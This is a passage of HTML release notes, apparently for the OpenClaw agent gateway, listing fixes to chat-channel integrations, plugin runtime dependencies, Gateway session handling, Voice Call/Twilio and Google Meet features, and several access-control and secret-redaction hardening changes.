<li>WhatsApp: stage <code>qrcode</code> through root mirrored runtime dependencies so packaged QR pairing can render from staged plugin-runtime-deps installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362623764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75394" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75394/hovercard" href="https://github.com/openclaw/openclaw/issues/75394">#75394</a>. Thanks @FelipeX2001.</li>
<li>Interactive channel payloads: send Discord component-only interaction replies, Slack block-only slash replies, Telegram button/select fallback labels, and LINE quick-reply fallback option text instead of accepting empty renderable payloads. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Auto-reply/docking: require <code>/dock-*</code> route switches to start from direct chats, so group or channel participants cannot reroute a shared session's future replies into a linked DM. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Discord: keep text-DM main-session route updates pinned to the configured DM owner, matching component interactions so another direct-message sender cannot redirect future main-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Mattermost/Matrix: keep direct-message main-session route updates pinned to the configured DM owner so paired or temporarily allowed senders cannot redirect future shared-session replies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Discord: keep SecretRef-backed bot tokens discoverable for message actions without resolving the token during schema generation, and resolve scoped channel SecretRefs before outbound agent message sends even when the tool is built from a config snapshot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362174273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75324" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75324/hovercard" href="https://github.com/openclaw/openclaw/issues/75324">#75324</a>. Thanks @slideshow-dingo and @Conan-Scott.</li>
<li>Updates: run package post-install doctor repair with the managed Gateway service profile and state paths when a daemon is installed, so shell/profile mismatches no longer repair the caller state while the restarted Gateway keeps stale config. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Models/DeepInfra: declare DeepInfra manifest catalog discovery and derive its runtime fallback catalog from the manifest, restoring provider-filtered <code>models list --all --provider deepinfra</code> rows without duplicated static model data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: verify managed gateway restarts against the installed service port instead of the caller shell port, so package updates do not report a healthy daemon as failed when profiles use different gateway ports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/agent: reject strict <code>openclaw agent --deliver</code> requests with missing delivery targets before starting the agent run, so users do not wait for a completed turn that cannot send anywhere. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Setup/import: honor non-interactive <code>--import-from</code> onboarding flags by running the migration import path instead of silently completing normal setup without importing anything. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: keep plain <code>doctor --non-interactive</code> from installing bundled plugin runtime dependencies, so headless health checks report missing deps while <code>doctor --fix</code> remains the explicit repair path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/gateway: require an interactive confirmation before installing or rewriting the Gateway service, so <code>doctor --fix --non-interactive</code> can repair plugin/config drift without replacing the operator's launchd/systemd service from a temporary environment. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: include packaged OpenClaw identity in bundled plugin loader cache keys, so same-path package upgrades stop reusing stale versioned runtime-deps mirrors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357604708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75045" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75045/hovercard" href="https://github.com/openclaw/openclaw/issues/75045">#75045</a>. Thanks @sahilsatralkar.</li>
<li>Plugin SDK: restore reply-prefix and reply-pipeline helpers on the deprecated root/compat SDK surface so external plugins still using <code>openclaw/plugin-sdk</code> do not fail message dispatch after update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359892122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75171" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75171/hovercard" href="https://github.com/openclaw/openclaw/issues/75171">#75171</a>. Thanks @zhangxiliang.</li>
<li>Plugins/runtime-deps: prune inactive same-package versioned runtime-deps roots after bundled dependency repair, so upgrades do not leave old <code>openclaw-&lt;version&gt;-&lt;hash&gt;</code> package caches behind after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: prune legacy version-scoped plugin runtime-deps roots during bundled dependency repair and cover the path in Package Acceptance's upgrade-survivor matrix, so upgrades from 2026.4.x no longer leave stale per-plugin runtime trees after doctor runs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: keep Gateway startup plugin imports and runtime plugin fallback loads verify-only after startup/config repair planning, so packaged installs no longer spawn package-manager repair from hot paths after readiness. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357974990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75069/hovercard" href="https://github.com/openclaw/openclaw/issues/75069">#75069</a>. Thanks @brokemac79 and @xiaohuaxi.</li>
<li>Plugins/runtime-deps: treat package.json runtime-deps manifests as supersets when generated materialization metadata is absent, so bundled plugin activation stops restaging already-installed dependency subsets on every activation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362879118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75429" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75429/hovercard" href="https://github.com/openclaw/openclaw/issues/75429">#75429</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362889795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75431/hovercard" href="https://github.com/openclaw/openclaw/pull/75431">#75431</a>) Thanks @loyur.</li>
<li>iMessage: add stdin write callback and error listener to IMessageRpcClient so async EPIPE from a closed child process rejects the pending request instead of crashing the gateway with uncaughtException. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</li>
<li>MCP/stdio: settle MCP stdio transport send() from the write callback instead of resolving immediately on buffer acceptance, so async write errors reject the promise instead of being lost. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</li>
<li>Process/exec: add stdin error listener in runCommandWithTimeout so EPIPE from a prematurely-exited child is swallowed instead of escaping to uncaughtException. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362994855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75438" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75438/hovercard" href="https://github.com/openclaw/openclaw/issues/75438">#75438</a>.</li>
<li>Voice Call/realtime: add default-off fast memory/session context for <code>openclaw_agent_consult</code>, giving live calls a bounded answer-or-miss path before the full agent consult. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329662019" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71849/hovercard" href="https://github.com/openclaw/openclaw/issues/71849">#71849</a>. Thanks @amzzzzzzz.</li>
<li>Google Meet: interrupt Realtime provider output when local barge-in clears playback, so command-pair audio stops model speech instead of only restarting Chrome playback. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346767837" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73850/hovercard" href="https://github.com/openclaw/openclaw/issues/73850">#73850</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346567653" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73834" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73834/hovercard" href="https://github.com/openclaw/openclaw/pull/73834">#73834</a>) Thanks @shhtheonlyperson.</li>
<li>Gateway/config: cap oversized plugin-owned schemas in the full <code>config.schema</code> response so large installed plugin sets cannot balloon Gateway RSS or crash schema clients. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/update: skip ClawHub and marketplace plugin updates when the bundled version is newer than the recorded installed version, so <code>openclaw update</code> no longer overwrites working bundled plugins with older external packages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363046993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75447/hovercard" href="https://github.com/openclaw/openclaw/issues/75447">#75447</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Gateway/sessions: use bounded tail reads for sessions-list transcript usage fallbacks and cap bulk title/last-message hydration, keeping large session stores responsive when rows request derived previews. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/sessions: yield during bulk transcript title/preview hydration and copy compaction checkpoints asynchronously, keeping the Gateway event loop responsive for large session stores and large transcripts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362222686" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75330" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75330/hovercard" href="https://github.com/openclaw/openclaw/issues/75330">#75330</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362708402" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75414" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75414/hovercard" href="https://github.com/openclaw/openclaw/issues/75414">#75414</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Gateway/sessions: stream bounded transcript reads for session detail, history, artifacts, compaction, and send/subscribe sequence paths so small Gateway requests no longer materialize large transcripts or OOM on oversized session logs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/chat: bound chat-history transcript reads to the requested display window so large session logs no longer OOM the Gateway when clients ask for a small history page. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>BlueBubbles: detect audio attachments by Apple UTIs (<code>public.audio</code>, <code>public.mpeg-4-audio</code>, <code>com.apple.m4a-audio</code>, <code>com.apple.coreaudio-format</code>) in addition to <code>audio/*</code> MIME, so iMessage voice notes whose webhook payload only carries the UTI are now classified as audio in the inbound <code>&lt;media:audio&gt;</code> placeholder instead of falling through to the generic <code>&lt;media:attachment&gt;</code> tag. Thanks @omarshahine.</li>
<li>Voice Call/Twilio: honor stored pre-connect TwiML before realtime webhook shortcuts and reject DTMF sequences outside conversation mode, so Meet PIN entry cannot be skipped or silently dropped. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</li>
<li>Docs/sandboxing: clarify that sandbox setup scripts (<code>sandbox-setup.sh</code>, <code>sandbox-common-setup.sh</code>, <code>sandbox-browser-setup.sh</code>) are only available from a source checkout, and add inline <code>docker build</code> commands for npm-installed users so sandbox image setup works without cloning the repo. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363242333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75485" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75485/hovercard" href="https://github.com/openclaw/openclaw/issues/75485">#75485</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Google Meet/Voice Call: play Twilio Meet DTMF before opening the realtime media stream and carry the intro as the initial Voice Call message, so the greeting is generated after Meet admits the phone participant instead of racing a live-call TwiML update. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</li>
<li>Google Meet/Voice Call: make Twilio setup preflight honor explicit <code>--transport twilio</code> and fail local/private Voice Call webhook URLs, including IPv6 loopback and unique-local forms, before joins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</li>
<li>Voice Call/Twilio: retry transient 21220 live-call TwiML updates and catch answered-path initial-greeting failures, so a fast answered callback no longer crashes the Gateway or drops the Twilio greeting/listen transition. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353522708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74606" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74606/hovercard" href="https://github.com/openclaw/openclaw/pull/74606">#74606</a>) Thanks @Sivan22.</li>
<li>CLI/startup: preserve <code>OPENCLAW_HIDE_BANNER</code> banner suppression for route-first startup callers that rely on the default process environment while keeping read-only status/channel paths from repairing bundled plugin runtime dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360048495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75183/hovercard" href="https://github.com/openclaw/openclaw/pull/75183">#75183</a>.</li>
<li>Voice Call/Twilio: register accepted media streams immediately but wait for realtime transcription readiness before speaking the initial greeting, so reconnect grace handling stays live while OpenAI STT startup is no longer starved by TTS. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360162005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75197/hovercard" href="https://github.com/openclaw/openclaw/issues/75197">#75197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361111739" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75257" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75257/hovercard" href="https://github.com/openclaw/openclaw/pull/75257">#75257</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donkeykong91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donkeykong91">@donkeykong91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PfanP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PfanP">@PfanP</a>.</li>
<li>Voice Call CLI: run gateway-delegated <code>voicecall continue</code> through operation-id polling and protocol-shaped errors, so long conversational turns keep their transcript result without blocking a single Gateway RPC. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363097375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75459/hovercard" href="https://github.com/openclaw/openclaw/pull/75459">#75459</a>) Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Voice Call CLI: delegate operational <code>voicecall</code> commands to the running Gateway runtime and skip webhook startup during CLI-only plugin loading, preventing webhook port conflicts and <code>setup --json</code> hangs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331824729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72345" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72345/hovercard" href="https://github.com/openclaw/openclaw/issues/72345">#72345</a>. Thanks @serrurco and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Agents/pi-embedded-runner: extract the <code>abortable</code> provider-call wrapper from <code>runEmbeddedAttempt</code> to module scope so its promise handlers no longer close over the run lexical context, releasing transcripts, tool buffers, and subscription callbacks when a provider call hangs past abort. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348625606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74182/hovercard" href="https://github.com/openclaw/openclaw/issues/74182">#74182</a>) Thanks @cjboy007.</li>
<li>Docker: restore <code>python3</code> in the gateway runtime image after the slim-runtime switch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357583202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75041" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75041/hovercard" href="https://github.com/openclaw/openclaw/issues/75041">#75041</a>.</li>
<li>Agents/session-repair: fix resumed sessions failing with repeated 400 errors on Anthropic and strict OpenAI-compatible providers (Qwen, mlx-vlm) after an interrupted conversation or blank user input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361379280" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75271/hovercard" href="https://github.com/openclaw/openclaw/issues/75271">#75271</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362043132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75313" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75313/hovercard" href="https://github.com/openclaw/openclaw/issues/75313">#75313</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/Voice Call: scope <code>voicecall</code> command activation to the Voice Call plugin so setup and smoke checks no longer broad-load unrelated plugin runtimes or hang after printing JSON. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Doctor/plugins: warn when restrictive <code>plugins.allow</code> is paired with wildcard or plugin-owned tool allowlists, making the exclusive plugin allowlist behavior visible before users hit empty callable-tool runs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174851981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58009" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58009/hovercard" href="https://github.com/openclaw/openclaw/issues/58009">#58009</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245604493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64982/hovercard" href="https://github.com/openclaw/openclaw/issues/64982">#64982</a>. Thanks @KR-Python and @BKF-Gitty.</li>
<li>Google Meet/Voice Call: keep Twilio Meet joins in conversation mode and reuse the realtime intro prompt when no voice-call-specific intro is configured, so answered phone bridge calls speak instead of joining silently. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Auto-reply/group chats: keep the <code>message</code> tool available for message-tool-only visible replies and apply group-scoped tool policy before deciding fallback delivery, so Discord/Slack-style rooms reply visibly in the correct channel after upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355291678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74842/hovercard" href="https://github.com/openclaw/openclaw/issues/74842">#74842</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360452638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75207" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75207/hovercard" href="https://github.com/openclaw/openclaw/issues/75207">#75207</a>. Thanks @davelutztx and @aa-on-ai.</li>
<li>Agents/commitments: keep inferred follow-ups internal when heartbeat target is none, strip raw source text from stored commitments, disable tools during due-commitment heartbeat turns, bound hidden extraction queue growth, expire stale commitments, and add QA/Docker safety coverage. Thanks @vignesh07.</li>
<li>Telegram/agents: keep typing indicators and optional generation tools off the reply critical path, so fresh Telegram replies no longer stall while provider catalogs and media models load. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362421293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75360/hovercard" href="https://github.com/openclaw/openclaw/pull/75360">#75360</a>) Thanks @obviyus.</li>
<li>Agents/commitments: run hidden follow-up extraction on the configured agent/default model instead of falling back to direct OpenAI, so OpenAI Codex OAuth-only gateways no longer spam background API-key failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362274024" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75334" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75334/hovercard" href="https://github.com/openclaw/openclaw/issues/75334">#75334</a>. Thanks @sene1337.</li>
<li>Agents/media: keep async music generation completions on the requester-session wake path even when direct-send completion is enabled, so finished audio stays agent-mediated while video can still opt into direct channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362275213" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75335" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75335/hovercard" href="https://github.com/openclaw/openclaw/pull/75335">#75335</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/config-audit: redact CLI argv and execArgv secrets before persisting config audit records, covering write, observe, and recovery paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204612186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60826" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60826/hovercard" href="https://github.com/openclaw/openclaw/issues/60826">#60826</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koshaji/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koshaji">@koshaji</a>.</li>
<li>Gateway/models: keep default and configured model-list views responsive when provider catalog discovery stalls, without hiding real catalog load failures, while <code>--all</code> still waits for the exact full catalog. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351397259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74404" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74404/hovercard" href="https://github.com/openclaw/openclaw/issues/74404">#74404</a>. Thanks @lisandromachado and @najef1979-code.</li>
<li>Plugins/runtime-deps: accept already materialized package-level runtime-deps supersets as converged, so later lazy plugin activation no longer prunes and relaunches <code>pnpm install</code> after gateway startup pre-staging, reducing event-loop pressure from repeated runtime-deps repair on packaged installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361752617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75297" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75297/hovercard" href="https://github.com/openclaw/openclaw/issues/75297">#75297</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331750102" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72338/hovercard" href="https://github.com/openclaw/openclaw/issues/72338">#72338</a>. Thanks @brokemac79, @lisandromachado, and @midhunmonachan.</li>
